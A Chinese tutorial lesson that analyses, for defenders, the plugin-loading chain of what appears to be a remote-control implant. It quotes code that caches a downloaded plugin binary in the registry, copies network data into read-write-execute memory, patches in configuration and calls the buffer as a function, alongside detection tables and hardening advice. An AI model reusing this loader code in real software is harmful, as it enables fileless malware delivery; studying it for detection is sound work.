第 13 课:插件化设计与模块加载
# 第 13 课:插件化设计与模块加载
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
第 12 课讲了插件化设计总览:主控端维护插件索引,被控端按版本和位数请求插件,主控端再下发 DllSendData + 插件数据。
本课继续深入源码细节,重点看上线模块里的 KernelManager.cpp。这一课的主线是:
版本包 -> 本地缓存 -> 版本比较 -> 请求新插件 -> 接收插件数据 -> 写入内存 -> 写入注册表 -> Debug/Release 加载差异
这里涉及高风险实现,例如可写可执行内存、注册表二进制缓存、内存入口调用和调试加载分支。本课只做防御性讲解,帮助读者理解企业应该如何检测和加固,不提供可复用的加载、执行或规避步骤。
# 1. 本课学习目标
学完本课,你应该能回答这些问题:
| 问题 | 本课回答 |
|---|---|
KernelManager 在插件链路中做什么 | 接收版本和插件数据,决定是否请求、缓存和加载登录模块 |
| 为什么先读注册表 | 尝试复用本地缓存,减少重复请求 |
| 为什么版本不一致要请求插件 | 本地缓存与主控端版本不同,需要重新获取 |
VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 为什么高危 | 产生可写可执行内存,是内存执行链的重要信号 |
| Debug 和 Release 有什么差异 | Debug 尝试本地 LoadLibrary,Release 使用内存入口方式 |
| 注册表缓存如何布局 | DllSendData 结构后面拼插件二进制数据 |
| 企业如何检测 | 关联版本包、插件大包、注册表二进制缓存、RWX 内存和未知入口调用 |
# 2. 本课涉及源码目录和文件
| 源码文件 | 本课关注点 |
|---|---|
主插件\上线模块\上线模块\上线模块.cpp | 连接后发送 TOKEN_GETVERSION |
主插件\上线模块\上线模块\KernelManager.h | Info、SENDTASK、插件侧 DllSendData |
主插件\上线模块\上线模块\KernelManager.cpp | OnReceive、注册表缓存、VirtualAlloc、runLoginDllBin、Debug/Release 加载分支 |
主控\Quick\MainFrm.cpp | OnOpenSendVersion、OnOpenSendDll 与本课链路对应 |
主控\Quick\macros.h | 主控侧 DllSendData 和插件命令 |
主控\Quick\DllToShellCode.h | 转换函数声明,只做风险识别 |
本课比第 12 课更靠近实现细节,但仍然只从安全工程角度读源码。
# 3. 模块加载细节地图
先看总体流程。

上线模块连接主控端后,不是直接加载所有功能,而是先做版本协商:
- 发送版本请求。
- 尝试读取本地缓存。
- 比较主控端版本和缓存版本。
- 版本不一致时请求新插件。
- 收到插件数据后分配内存保存。
- 把结构体和插件数据写入注册表缓存。
- 进入加载线程。
这条链路的检测价值很高,因为它会在多个层面留下痕迹:网络短包、网络大包、注册表二进制数据、可执行内存、加载线程、调试输出。
# 4. 上线模块发起版本请求
第 12 课已经讲过主控端如何返回版本。本课先从对端看起。上线模块连接成功后,会发送 TOKEN_GETVERSION。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:242-255
// 防御分析注释:
// 1. Token[0] = TOKEN_GETVERSION 表示版本探测。
// 2. Token[1] 区分 x86/x64,主控端据此选择插件索引。
// 3. 很短的版本探测包是插件加载链路的起点之一。
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, 2);
socketClient->run_event_loop();
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
这里要注意:
| 字段 | 含义 |
|---|---|
Token[0] | 请求主控端返回版本 |
Token[1] | 当前模块位数 |
CKernelManager | 后续接收版本包和插件包的管理对象 |
run_event_loop | 进入网络事件循环,等待主控端返回 |
防御侧可以把“连接后很短版本包 + 后续插件请求”作为关联信号,而不是孤立看单个数据包。
# 5. 完整请求链
下面这张时序图把主控端和对端连起来:

按源码可以对应到这些函数:
| 阶段 | 源码位置 |
|---|---|
发送 TOKEN_GETVERSION | 主插件\上线模块\上线模块\上线模块.cpp:247 |
| 主控端返回版本 | 主控\Quick\MainFrm.cpp:2342-2364 |
| 对端比较版本 | 主插件\上线模块\上线模块\KernelManager.cpp:128-170 |
| 对端请求插件 | 主插件\上线模块\上线模块\KernelManager.cpp:171-190 |
| 主控端下发插件 | 主控\Quick\MainFrm.cpp:2369-2435 |
| 对端缓存和加载 | 主插件\上线模块\上线模块\KernelManager.cpp:204-227 |
这个链路适合企业做检测关联:
短版本包 -> 插件请求 -> 大块二进制 -> REG_BINARY 缓存 -> RWX 内存 -> 加载线程
# 6. KernelManager 的关键全局状态
KernelManager.cpp 里有两个非常关键的静态变量。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:8-17
// 防御分析注释:
// 1. g_loginDllBinMD5 是注册表缓存使用的值名。
// 2. g_dllSendData 保存当前插件元数据。
// 3. g_loginDllData 保存插件数据的内存地址。
// 4. 这些全局状态把网络包、注册表缓存和内存加载串在一起。
TCHAR* g_loginDllBinMD5 = _T("d33f351a4aeea5e608853d1a56661059");
extern Info MyInfo;
typedef void(__stdcall* load)();
static DllSendData g_dllSendData = {};
static LPVOID g_loginDllData = NULL;
2
3
4
5
6
7
8
9
10
11
12
字段解释:
| 名称 | 作用 | 防御关注 |
|---|---|---|
g_loginDllBinMD5 | 注册表值名 | 固定字符串、缓存定位线索 |
g_dllSendData | 保存插件元数据 | 插件名、位数、大小、版本 |
g_loginDllData | 保存插件数据指针 | 内存数据和执行入口风险 |
load | 函数指针类型 | 内存入口调用相关风险 |
新手要理解:这里已经不是普通“读一个 DLL 文件”的流程,而是把网络收到的二进制数据放到内存和注册表缓存中,再由加载线程处理。
# 7. 版本包进入 OnReceive
CKernelManager::OnReceive 是本课最重要的函数。它先过滤心跳,再判断包长度。如果包长度是 101 字节,就按“版本包”处理。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:124-137
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 被直接忽略,不进入插件版本逻辑。
// 2. payloadSize = 100,对应主控端返回的版本字符串长度。
// 3. nSize == 101 时,代码认为这是主控端返回的版本包。
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
const int payloadSize = 100;
if (nSize == payloadSize + 1)
{
// 版本包处理逻辑
}
else
{
// 插件数据包处理逻辑
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
这里有一个典型协议特征:
| 条件 | 解释 |
|---|---|
lpBuffer[0] == TOKEN_HEARTBEAT | 心跳包 |
nSize == 101 | 版本包 |
| 其他长度 | 被当作插件数据包 |
安全风险在于:仅靠长度区分数据类型比较脆弱。合法软件应在包头里加入明确类型、版本、长度、完整性校验和签名验证。
# 8. 读取注册表缓存
收到版本包后,代码先尝试从注册表读取之前缓存的插件数据。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:137-160
// 防御分析注释:
// 1. x64 使用 Console\1,x86 使用 Console\0。
// 2. 缓存值类型是 REG_BINARY。
// 3. 缓存数据前部是 DllSendData,后面是插件二进制。
// 4. 读取缓存后使用 PAGE_EXECUTE_READWRITE 分配内存,这是高风险内存信号。
HKEY hKEY;
DWORD dwType = REG_BINARY;
DWORD binsize = 0;
#ifdef _WIN64
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("Console\\1"), 0, KEY_READ, &hKEY))
{
#else
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, _T("Console\\0"), 0, KEY_READ, &hKEY))
{
#endif
RegQueryValueEx(hKEY, g_loginDllBinMD5, NULL, &dwType, NULL, &binsize);
if (binsize > sizeof(DllSendData))
{
char* bindata = new char[binsize];
ZeroMemory(bindata, binsize);
if (::RegQueryValueEx(hKEY, g_loginDllBinMD5, 0, &dwType, (LPBYTE)bindata, &binsize) == ERROR_SUCCESS)
{
memcpy(&g_dllSendData, bindata, sizeof(DllSendData));
g_loginDllData = (LPVOID)VirtualAlloc(0, g_dllSendData.DataSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
::memcpy(g_loginDllData, bindata + sizeof(DllSendData), g_dllSendData.DataSize);
}
}
::RegCloseKey(hKEY);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 9. 注册表缓存布局
缓存数据的布局可以画成这样:

抽象结构:
[ DllSendData ][ 插件二进制数据 ]
对应源码里写缓存的地方:
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:209-226
// 防御分析注释:
// 1. writeregeditsize = sizeof(DllSendData) + DataSize。
// 2. 前半段写插件元数据,后半段写插件二进制。
// 3. x64 写 HKCU\Console\1,x86 写 HKCU\Console\0。
// 4. 合法软件不应把未签名可执行载荷直接缓存为 REG_BINARY。
int writeregeditsize = sizeof(DllSendData) + g_dllSendData.DataSize;
char* writeregeditbuffer = new char[writeregeditsize];
if (writeregeditbuffer)
{
memcpy(writeregeditbuffer, &g_dllSendData, sizeof(DllSendData));
memcpy(writeregeditbuffer + sizeof(DllSendData),
g_loginDllData, g_dllSendData.DataSize);
HKEY hKey;
#ifdef _WIN64
if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\1"), &hKey))
#else
if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\0"), &hKey))
#endif
{
::RegDeleteValue(hKey, g_loginDllBinMD5);
::RegSetValueEx(hKey, g_loginDllBinMD5, 0, REG_BINARY,
(unsigned char*)writeregeditbuffer, writeregeditsize);
}
::RegCloseKey(hKey);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
企业检测建议:
| 检测点 | 说明 |
|---|---|
监控 RegSetValueEx 写入大块 REG_BINARY | 尤其是用户路径下异常键 |
| 关联写入前后的网络大包 | 插件数据通常来自网络 |
| 关联写入后的内存分配 | 缓存后可能进入加载链 |
| 检查数据头部结构 | 前段可能对应 DllSendData 字段 |
# 10. 版本比较和请求新插件
读取缓存后,代码比较主控端发来的版本和缓存中的版本。如果不一致,就清理旧缓存内存,并请求新的插件数据。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:162-191
// 防御分析注释:
// 1. lpBuffer + 1 是主控端返回的版本字符串。
// 2. g_dllSendData.szVersion 是本地缓存版本。
// 3. 版本不一致时释放旧内存,然后构造 TOKEN_SENDLL 请求。
// 4. 请求包中携带 DllSendData,插件名为 登录模块.dll_bin。
if (_tcscmp((TCHAR*)(lpBuffer + 1), g_dllSendData.szVersion) != 0)
{
if (g_loginDllData)
{
VirtualFree(g_loginDllData, 0, MEM_RELEASE);
g_loginDllData = NULL;
}
DllSendData loginModuleDllSendData =
{
TASK_MAIN,
{_T('登'), _T('录'), _T('模'), _T('块'), _T('.'), _T('d'), _T('l'), _T('l'), _T('_'), _T('b'), _T('i'), _T('n'), 0},
#ifdef _WIN64
TRUE,
#else
FALSE,
#endif
0,
{},
{},
};
DWORD dwOffset = sizeof(DllSendData) + 1;
LPBYTE lpBuffer = new BYTE[dwOffset];
lpBuffer[0] = TOKEN_SENDLL;
::memcpy(lpBuffer + 1, &loginModuleDllSendData, dwOffset - 1);
Send((LPBYTE)lpBuffer, dwOffset);
SAFE_DELETE(lpBuffer);
}
else
{
runLoginDllBin();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
这段代码的防御含义要写进源码注释里看:登录模块.dll_bin 是固定插件名线索,TOKEN_SENDLL 是插件请求信号;版本不一致会触发网络请求,版本一致则可能直接加载缓存。企业检测不能只看网络,如果缓存已存在,后续可能不再请求大包,而是直接从注册表恢复后加载。
# 11. 接收新插件数据
如果收到的不是 101 字节版本包,代码把它当作插件数据包处理。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:202-208
// 防御分析注释:
// 1. 从 lpBuffer + 1 解析 DllSendData,跳过第 1 个命令字节。
// 2. 使用 DataSize 分配 PAGE_EXECUTE_READWRITE 内存。
// 3. 将 DllSendData 后面的数据复制到 g_loginDllData。
// 4. 这里必须严格校验 nSize、DataSize 和结构体大小,否则存在越界风险。
::memcpy(&g_dllSendData, lpBuffer + 1, sizeof(DllSendData));
g_loginDllData = (LPVOID)VirtualAlloc(0, g_dllSendData.DataSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
::memcpy(g_loginDllData,
lpBuffer + 1 + sizeof(DllSendData),
g_dllSendData.DataSize);
2
3
4
5
6
7
8
9
10
11
12
这个片段是企业安全最需要关注的部分之一。
| 风险 | 说明 |
|---|---|
| 可写可执行内存 | PAGE_EXECUTE_READWRITE 是高风险内存权限 |
| 长度字段控制分配 | DataSize 来自网络包结构体 |
| 二进制直接复制 | 插件数据进入内存 |
| 后续可被调用 | g_loginDllData 后面进入加载线程 |
合法软件应当避免这种设计。更稳妥的做法是:签名插件落在受控目录、校验签名和哈希、只使用必要内存权限、加载前做权限审批和日志记录。
# 12. 内存布局
这段逻辑可以抽象成下面的内存布局:

数据从网络缓冲区进入 DllSendData 和 g_loginDllData:
网络缓冲区:
[ command ][ DllSendData ][ binary data ]
内存中:
g_dllSendData = DllSendData
g_loginDllData = VirtualAlloc(DataSize, PAGE_EXECUTE_READWRITE)
2
3
4
5
6
检测时可以关注:
| 检测点 | 解释 |
|---|---|
VirtualAlloc 权限 | 是否出现 RWX |
| 分配大小 | 是否接近网络大包大小 |
| 内存内容 | 是否包含 PE、shellcode 或异常代码段特征 |
| 调用链 | 分配后是否创建线程或进入函数指针调用 |
| 进程上下文 | 是否是未知或不应具备插件能力的进程 |
# 13. 启动加载线程
收到插件数据并写入缓存后,会调用 runLoginDllBin。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:108-119
// 防御分析注释:
// 1. runLoginDllBin 创建工作线程,入口是 Loop_DllManager。
// 2. 启动后 Sleep,再断开当前连接。
// 3. 防御侧可关联线程创建、连接断开和后续模块加载行为。
void CKernelManager::runLoginDllBin()
{
hWorker = (HANDLE)_beginthreadex(NULL,
0,
Loop_DllManager,
(void*)this,
0,
NULL);
Sleep(3000);
this->Disconnect();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
这里的检测含义也应落到代码注释里:_beginthreadex 启动加载线程,Loop_DllManager 是线程入口,Sleep(3000) 是固定等待,Disconnect 表示加载后断开当前连接。单独一个线程创建不一定恶意,但如果它和前面的插件大包、RWX 内存、注册表缓存连续出现,风险就显著升高。
# 14. 加载前配置替换
加载线程进入后,先查找登录模块里的配置标记,并用当前 MyInfo 替换。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:19-31
// 防御分析注释:
// 1. memfind 在插件数据中查找 "denglupeizhi" 标记。
// 2. 找到后把 MyInfo 写入插件数据。
// 3. 这说明插件数据在加载前会被动态打补丁。
// 4. 防御侧可关注内存中固定配置标记和结构体覆盖行为。
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
CKernelManager* pThis = (CKernelManager*)pVoid;
DWORD dwOffset = -1;
dwOffset = memfind((char*)g_loginDllData, "denglupeizhi",
g_dllSendData.DataSize, 0);
if (dwOffset != -1)
memcpy((char*)g_loginDllData + dwOffset, (char*)&MyInfo, sizeof(Info));
// 后续进入加载分支
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
这类“加载前修改内存中的配置结构”是样本分析常见线索。企业侧做内存取证时,可以查找固定标记、配置结构、地址端口、版本、分组、备注等字段。
# 15. 写入运行配置
加载线程还会把 MyInfo 写到注册表。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:31-37
// 防御分析注释:
// 1. 代码把 MyInfo 写入 HKLM\SOFTWARE 下的 IpDates_info。
// 2. 这是配置落地行为,企业可通过注册表监控发现。
// 3. 合法软件应明确配置路径、权限和审计记录,不应隐藏写入。
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE"), 0,
KEY_WOW64_64KEY | KEY_SET_VALUE, &hKey);
::RegDeleteValue(hKey, _T("IpDates_info"));
::RegSetValueEx(hKey, _T("IpDates_info"), 0, REG_BINARY,
(unsigned char*)&MyInfo, sizeof(Info));
::RegCloseKey(hKey);
2
3
4
5
6
7
8
9
10
11
12
注意区分两类注册表写入:
| 写入内容 | 位置 | 作用 |
|---|---|---|
| 插件缓存 | HKCU\Console\0/1 | 缓存 DllSendData + 插件数据 |
| 运行配置 | HKLM\SOFTWARE\IpDates_info | 保存 Info 配置 |
检测时不要只搜一个键。应该把“配置写入”和“插件缓存写入”分别纳入规则。
# 16. Debug / Release 加载差异
这一课最重要的对照点是 Debug 和 Release 的加载方式。

Debug 分支尝试从本地磁盘加载 DLL,便于开发调试。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:57-83
// 防御分析注释:
// 1. Debug 模式把 xxx.dll_bin 转成 xxx.dll 文件名。
// 2. 使用 LoadLibrary 加载本地 DLL,并尝试查找 run 导出函数。
// 3. 这是调试便利路径,不代表安全设计。
// 4. 企业检测可关注异常目录下 LoadLibrary 和 GetProcAddress("run")。
#ifdef _DEBUG
wchar_t szLocalDllName[MAX_PATH] = { 0 };
wcscpy_s(szLocalDllName, ARRAYSIZE(szLocalDllName), g_dllSendData.DllName);
::PathRemoveExtension(szLocalDllName);
wcscat_s(szLocalDllName, ARRAYSIZE(szLocalDllName), L".dll");
HMODULE hDllModule = ::LoadLibrary(szLocalDllName);
if (hDllModule != NULL)
{
FARPROC runFunc = ::GetProcAddress(hDllModule, "run");
if (runFunc != NULL)
{
runFunc();
}
}
#endif
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Release 分支则走内存入口方式。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:88-92
// 防御分析注释:
// 1. Release 分支没有走 LoadLibrary 文件加载路径。
// 2. g_loginDllData 是前面 VirtualAlloc 得到的内存地址。
// 3. 把内存地址当作函数入口调用,是典型高风险内存执行行为。
// 4. 本教程只说明检测意义,不提供复现或改造步骤。
#else
// release版本使用shellcode的方法调用各个模块中的DllMain函数或者导出函数
load lpproc = ((load(*)())g_loginDllData)();
#endif
2
3
4
5
6
7
8
9
10
对比表:
| 模式 | 加载方式 | 防御关注 |
|---|---|---|
| Debug | LoadLibrary 本地 DLL | 异常 DLL 路径、GetProcAddress("run") |
| Release | 内存入口调用 | RWX 内存、无文件代码、函数指针调用 |
新手要特别注意:调试模式更容易看懂,但发布模式更接近真实风险链。读源码时要同时看两个分支。
# 17. 下一课:插件 DLL 内存加载
到这里,第 13 课已经把插件数据的来源、版本比较、注册表缓存、配置替换和加载线程入口讲清楚了。真正的 MemoryModule 内存 PE 加载器细节,从第 14 课开始单独展开。
本课只保留一条主线:
COMMAND_DLLMAIN
-> 命中缓存或请求主控下发插件数据
-> COMMAND_SENDLL 接收 DllSendData + DLL 数据
-> 写入 HKCU\Console\0/1 缓存
-> _beginthreadex 进入 Loop_DllManager
-> 第 14 课继续分析 MemoryLoadLibrary
2
3
4
5
6
这样拆分之后,新手阅读会更连续:先知道插件数据从哪里来,再进入 PE 头校验、节区映射、重定位、导入表解析、节权限修正、入口调用这些更底层的加载细节。
# 18. 傀儡进程分支
加载线程里还有一个 m_bpuppet 分支,会进入 buildremoteprocess。
// 源码位置:主插件\上线模块\上线模块\KernelManager.cpp:38-55
// 防御分析注释:
// 1. m_bpuppet 为真时,会进入远程进程构建逻辑。
// 2. 这属于高风险执行链,本课不展开 buildremoteprocess 的具体实现。
// 3. 防御侧只需要把它归入进程创建、远程内存、异常线程等检测方向。
if (pThis->m_bpuppet)
{
PROCESS_INFORMATION pi = {};
while (true)
{
if (buildremoteprocess((byte*)g_loginDllData, g_dllSendData.DataSize, &pi))
{
// 后续监控目标进程是否仍在运行
}
}
}
else
{
// Debug / Release 加载分支
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这里不适合写操作细节。企业侧只需要知道:如果配置打开了这类分支,应重点监控进程创建、远程线程、异常内存映射和父子进程关系。
# 19. 检测链路
把前面的源码连起来,检测链路可以总结为:

# 19.1 网络侧
| 检测点 | 说明 |
|---|---|
TOKEN_GETVERSION 短包 | 插件版本探测 |
TOKEN_SENDLL 请求 | 对端请求插件数据 |
COMMAND_SENDLL 大包 | 主控端发送插件数据 |
| 版本一致时无大包 | 可能从缓存直接加载 |
| 加载后断开 | runLoginDllBin 后主动断开当前连接 |
# 19.2 注册表侧
| 检测点 | 说明 |
|---|---|
HKCU\Console\0 / HKCU\Console\1 | 插件缓存位置 |
| 固定 MD5 值名 | g_loginDllBinMD5 |
大块 REG_BINARY | DllSendData + 插件数据 |
HKLM\SOFTWARE\IpDates_info | 运行配置写入 |
| 写入后立即加载 | 注册表和内存行为相关联 |
# 19.3 内存侧
| 检测点 | 说明 |
|---|---|
VirtualAlloc RWX | PAGE_EXECUTE_READWRITE |
| 网络数据复制到可执行内存 | memcpy(g_loginDllData, ...) |
| 内存数据被补配置 | 查找并覆盖 denglupeizhi |
| 内存入口调用 | 函数指针调用内存地址 |
| 工作线程启动 | _beginthreadex -> Loop_DllManager |
# 19.4 进程侧
| 检测点 | 说明 |
|---|---|
| Debug 模式加载本地 DLL | LoadLibrary 和 GetProcAddress("run") |
| Release 模式无文件执行 | 内存入口调用 |
| 傀儡进程分支 | 进程创建和异常父子关系 |
| 固定等待和断开 | Sleep(3000) 后断开连接 |
# 20. 合法软件加固建议
如果要实现合法插件加载,应避免本课中的高风险设计,至少做这些改造:
| 改造项 | 建议 |
|---|---|
| 插件存储 | 插件放在受控目录,不用隐蔽注册表二进制缓存 |
| 签名校验 | 加载前验证厂商签名、证书链和撤销状态 |
| 哈希校验 | 使用 SHA-256 或更强算法,记录在受保护清单中 |
| 内存权限 | 不使用 RWX;写入和执行权限分阶段最小化 |
| 协议头 | 明确类型、版本、长度、序列号和完整性校验 |
| 参数校验 | 校验 DataSize、结构体大小、插件名和架构 |
| 权限审批 | 高危插件需用户确认或审批 |
| 审计日志 | 记录插件名、版本、哈希、操作者、目标资产、加载结果 |
| 用户可见性 | 涉及隐私采集时必须有可见提示 |
| 失败阻断 | 签名失败、版本不兼容、长度异常时拒绝加载 |
# 21. 新手阅读路线
读第 13 课相关源码时,建议按这个顺序:
- 先读
上线模块.cpp里TOKEN_GETVERSION的发送。 - 再读
KernelManager::OnReceive的长度分支。 - 看版本包分支如何读注册表缓存。
- 看版本比较不一致时如何构造
TOKEN_SENDLL。 - 看插件数据包分支如何解析
DllSendData。 - 看
VirtualAlloc和memcpy如何把插件数据放进内存。 - 看注册表缓存如何写入。
- 看
runLoginDllBin如何创建加载线程。 - 最后看 Debug/Release 分支差异。
这样读会比较连续,不会一开始就跳进高风险加载函数。
# 22. 常见误区
| 误区 | 正确认识 |
|---|---|
| 版本一致就没有风险 | 版本一致可能直接加载本地缓存 |
| 注册表缓存只是普通配置 | 这里缓存的是结构体和插件二进制数据 |
PAGE_EXECUTE_READWRITE 只是方便 | 这是内存执行链的重要高危信号 |
| Debug 路径代表真实运行 | Release 分支更接近真实风险链 |
只看 LoadLibrary 就够 | Release 可能完全不走文件 DLL 加载 |
| MD5 可以证明可信 | MD5 不能替代签名和完整性保护 |
| 长度字段可信 | 来自网络或缓存的数据长度必须严格校验 |
# 23. 本课小结
本课深入讲了插件化加载链路:
- 上线模块连接后发送
TOKEN_GETVERSION。 KernelManager::OnReceive用包长度区分版本包和插件数据包。- 版本包分支会读取
HKCU\Console\0/1的REG_BINARY缓存。 - 缓存布局是
DllSendData + 插件二进制数据。 - 版本不一致时,对端发送
TOKEN_SENDLL请求新插件。 - 收到插件数据后,代码用
VirtualAlloc(..., PAGE_EXECUTE_READWRITE)分配内存。 - 插件数据会被写入内存和注册表缓存。
runLoginDllBin创建工作线程进入加载逻辑。- Debug 分支走
LoadLibrary + GetProcAddress("run"),Release 分支走内存入口调用。 - 企业检测要关联网络包、注册表缓存、RWX 内存、线程启动和未知入口调用。
下一课会讲第 14 课:插件 DLL 内存加载,把视角从“插件数据如何到达加载线程”推进到 MemoryModule 如何校验 PE、映射节区、修正重定位、解析导入表和调用插件入口。
# 24. 合法练习题
- 只阅读源码,画出
TOKEN_GETVERSION -> TOKEN_SENDLL -> COMMAND_SENDLL的请求链。 - 整理
KernelManager::OnReceive中版本包分支和插件数据包分支的不同处理。 - 说明为什么
HKCU\Console\0和HKCU\Console\1要分开看。 - 画出注册表缓存的二进制布局:
DllSendData在前,插件数据在后。 - 写出 5 个
PAGE_EXECUTE_READWRITE在企业检测中的关联条件。 - 对比 Debug 和 Release 分支,说明它们分别会留下哪些主机侧证据。
- 设计一条检测规则思路:网络大包后 10 秒内出现大块 RWX 内存和注册表二进制写入。
- 设计一个合法插件加载流程,要求包含签名校验、权限审批、日志记录和失败阻断。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言